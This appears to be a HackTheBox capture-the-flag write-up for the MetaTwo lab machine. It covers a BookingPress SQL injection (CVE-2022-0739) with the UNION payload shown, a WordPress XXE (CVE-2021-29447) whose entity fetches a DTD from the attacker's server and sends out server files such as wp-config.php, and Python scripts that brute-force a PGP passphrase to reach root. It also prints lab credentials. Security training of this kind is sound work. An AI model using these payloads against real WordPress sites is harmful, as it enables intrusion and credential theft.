HackTheBox — MetaTwo Writeup
Difficulty: Easy
OS: Linux
IP: 10.129.228.95
User Flag: [REDACTED]
Root Flag: [REDACTED]
Overview
MetaTwo is an Easy-rated Linux machine that chains together several real-world CVEs against a WordPress installation. The path involves an unauthenticated SQL injection to extract credentials, an XXE injection via a media upload to read server-side files, and a passpie password manager whose PGP-encrypted database can be cracked to escalate to root.
Foothold: CVE-2022-0739 (BookingPress SQLi) → WP credentials
Lateral: CVE-2021-29447 (XXE in WordPress) → FTP creds → jnelson SSH
Privilege: Passpie PGP key (blink182) → decrypt root password → root shell
Attack Flow Diagram
1. Reconnaissance
Nmap
nmap -sSCV -vv -oN nmap.txt 10.129.228.95
| Port | Service | Detail |
|---|---|---|
| 21/tcp | FTP (ProFTPD) | Open — slow banner (~60s) |
| 22/tcp | SSH | OpenSSH 8.4p1 Debian |
| 80/tcp | HTTP | nginx 1.18.0 |
HTTP redirects to http://metapress.htb/ — add to /etc/hosts:
echo "10.129.228.95 metapress.htb ftp.metapress.htb" | sudo tee -a /etc/hosts
Web Enumeration
Browsing to http://metapress.htb reveals a WordPress blog. The /events page contains an appointment booking form powered by the BookingPress plugin. Grab the _wpnonce value from the page source (needed for the SQLi exploit):
curl -s 'http://metapress.htb/events/' | grep -i nonce
2. Initial Foothold — CVE-2022-0739 (BookingPress SQLi)
Vulnerability: BookingPress WordPress plugin < 1.0.11 has an unauthenticated SQL injection in the
bookingpress_front_get_category_servicesAJAX action via thetotal_serviceparameter.
Exploit
python3 CVE-2022-0739-exploit.py -u http://metapress.htb -p <wpnonce>
The UNION injection payload:
-7502) UNION SELECT user_login,user_email,user_pass,4,5,6,7,8,9 from wp_users-- -
Output:
Username: admin
Email: [email protected]
Password: $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
Username: manager
Email: [email protected]
Password: $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
Cracking with Hashcat
WordPress uses phpass (portable PHP password hashing) — hashcat mode 400:
hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt
Cracked:
| User | Password |
|---|---|
| manager | partylikearockstar |
| admin | (did not crack) |
3. Lateral Movement — CVE-2021-29447 (WordPress XXE)
Vulnerability: WordPress 5.6–5.7 with PHP 8.x allows XXE injection via a crafted
.wavmedia file. TheiXMLchunk of a WAVE file is parsed as XML without disabling external entity loading.
Requirements: A WordPress account with media upload capability — the manager role qualifies.
Exploit Flow
1. Attacker crafts malicious WAVE file with XXE payload in iXML chunk
2. Payload references attacker's HTTP server: <!ENTITY % remote SYSTEM 'http://LHOST/xxe.dtd'>
3. WordPress fetches the DTD, which defines a file-reading entity via php://filter
4. File contents are base64+zlib encoded and sent back to attacker's listener
Running the Exploit
The CVE-2021-29447.py script handles everything — it starts the listener, uploads the WAV, and decodes the exfiltrated data.
Step 1 — Confirm XXE with /etc/passwd:
python3 CVE-2021-29447.py \
--lhost 10.10.15.0 --lport 8888 \
--target http://metapress.htb \
--user manager --password partylikearockstar \
--file /etc/passwd --timeout 30
Output (relevant lines):
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
Step 2 — Read wp-config.php:
python3 CVE-2021-29447.py \
--lhost 10.10.15.0 --lport 8888 \
--target http://metapress.htb \
--user manager --password partylikearockstar \
--file /var/www/metapress.htb/blog/wp-config.php --timeout 30
Key findings:
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
4. FTP Enumeration → PHPMailer Credentials
[!NOTE]
ProFTPD performs a reverse-DNS/ident lookup on connection, causing a ~60 second delay before the banner appears. Use a long timeout.
import ftplib
ftp = ftplib.FTP()
ftp.connect('10.129.228.95', 21, timeout=60) # long timeout!
ftp.login('metapress.htb', '9NYS_ii@FyL_p5M2NvJ')
ftp.retrlines('LIST -la')
FTP root listing:
drwxr-xr-x blog/ ← WordPress files
drwxr-xr-x mailer/ ← interesting!
mailer/ listing:
-rw-r--r-- send_email.php
drwxr-xr-x PHPMailer/
Reading send_email.php via XXE
Rather than FTP-transferring the file (slow), use the XXE exploit:
python3 CVE-2021-29447.py \
--lhost 10.10.15.0 --lport 8888 \
--target http://metapress.htb \
--user manager --password partylikearockstar \
--file /var/www/metapress.htb/mailer/send_email.php --timeout 20
Key credential found:
$mail->Username = "[email protected]";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
[!IMPORTANT]
Password reuse!jnelsonuses the same password for SMTP and SSH.
5. SSH as jnelson — User Flag
ssh [email protected]
# Password: Cb4_JmWM8zUZWMu@Ys
id
# uid=1000(jnelson) gid=1000(jnelson) groups=1000(jnelson)
cat ~/user.txt
# fcea0531e67fcfbf83ad71ba54bd7974
User Flag: [REDACTED]**
6. Privilege Escalation — Passpie → Root
Enumeration
ls -la ~/
dr-xr-x--- .passpie/ ← password manager database
Passpie is a CLI password manager that encrypts credentials with PGP. The database structure:
find ~/.passpie -type f
/home/jnelson/.passpie/.keys ← PGP keypair (public + private)
/home/jnelson/.passpie/ssh/jnelson.pass ← encrypted credential
/home/jnelson/.passpie/ssh/root.pass ← encrypted root password!
Step 1 — Extract the PGP Private Key
cat ~/.passpie/.keys
Copy the entire -----BEGIN PGP PRIVATE KEY BLOCK----- ... -----END PGP PRIVATE KEY BLOCK----- section to your attack machine as passpie_private.key.
Step 2 — Crack the Passphrase
The key uses AES-128 + SHA-1 iterated S2K (S2K type 3). Cracking methods:
Method A — john the ripper (fastest):
gpg2john passpie_private.key > pgp.hash
john pgp.hash --wordlist=/usr/share/wordlists/rockyou.txt
Method B — GPG import brute force (Python):
import subprocess, tempfile, shutil
def try_passphrase(keyfile, pp):
gpghome = tempfile.mkdtemp()
try:
r = subprocess.run(
['gpg', '--homedir', gpghome, '--pinentry-mode', 'loopback',
'--passphrase', pp, '--import', keyfile],
capture_output=True, text=True, timeout=15
)
# GPG returns error "Bad passphrase" on wrong pass, succeeds on correct
return 'secret keys imported: 1' in r.stderr
finally:
shutil.rmtree(gpghome, ignore_errors=True)
with open('/usr/share/wordlists/rockyou.txt', encoding='latin-1') as f:
for word in f:
pp = word.strip()
if try_passphrase('passpie_private.key', pp):
print(f'[+] Passphrase: {pp}')
break
[!TIP]
blink182appears early in rockyou.txt so this finishes quickly even with the slow S2K derivation.
Result: Passphrase = blink182
Step 3 — Extract the root.pass Blob
From jnelson's session:
cat ~/.passpie/ssh/root.pass
Copy the -----BEGIN PGP MESSAGE----- block to your attack machine as root.pass.gpg.
Step 4 — Decrypt root's Password
import subprocess, tempfile, shutil
gpghome = tempfile.mkdtemp()
# Import private key with passphrase
subprocess.run(
['gpg', '--homedir', gpghome, '--pinentry-mode', 'loopback',
'--passphrase', 'blink182', '--import', 'passpie_private.key'],
capture_output=True
)
# Decrypt the password blob
r = subprocess.run(
['gpg', '--homedir', gpghome, '--pinentry-mode', 'loopback',
'--passphrase', 'blink182', '--decrypt', 'root.pass.gpg'],
capture_output=True, text=True
)
print(r.stdout.strip()) # → p7qfAZt4_A1xo_0x
shutil.rmtree(gpghome)
Root password: p7qfAZt4_A1xo_0x
Step 5 — Become Root
From jnelson's SSH session:
su root
# Password: p7qfAZt4_A1xo_0x
id
# uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
# da39b974b60*************
Root Flag: [REDACTED]**
Complete Credential Chain
| Credential | Obtained From | Value |
|---|---|---|
manager WP hash |
CVE-2022-0739 SQLi | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 |
manager WP password |
Hashcat (rockyou) | partylikearockstar |
| MySQL DB password | XXE → wp-config.php |
635Aq@TdqrCwXFUZ |
| FTP password | XXE → wp-config.php |
9NYS_ii@FyL_p5M2NvJ |
jnelson SSH password |
XXE → send_email.php |
Cb4_JmWM8zUZWMu@Ys |
| Passpie PGP passphrase | john/GPG brute-force | blink182 |
root password |
Passpie GPG decrypt | p7qfAZt4_A1xo_0x |
CVEs Exploited
| CVE | Plugin/Software | Type | Impact |
|---|---|---|---|
| CVE-2022-0739 | BookingPress WP Plugin < 1.0.11 | Unauthenticated SQLi | WP credential dump |
| CVE-2021-29447 | WordPress 5.6–5.7 (PHP 8.x) | XXE via media upload | Arbitrary file read |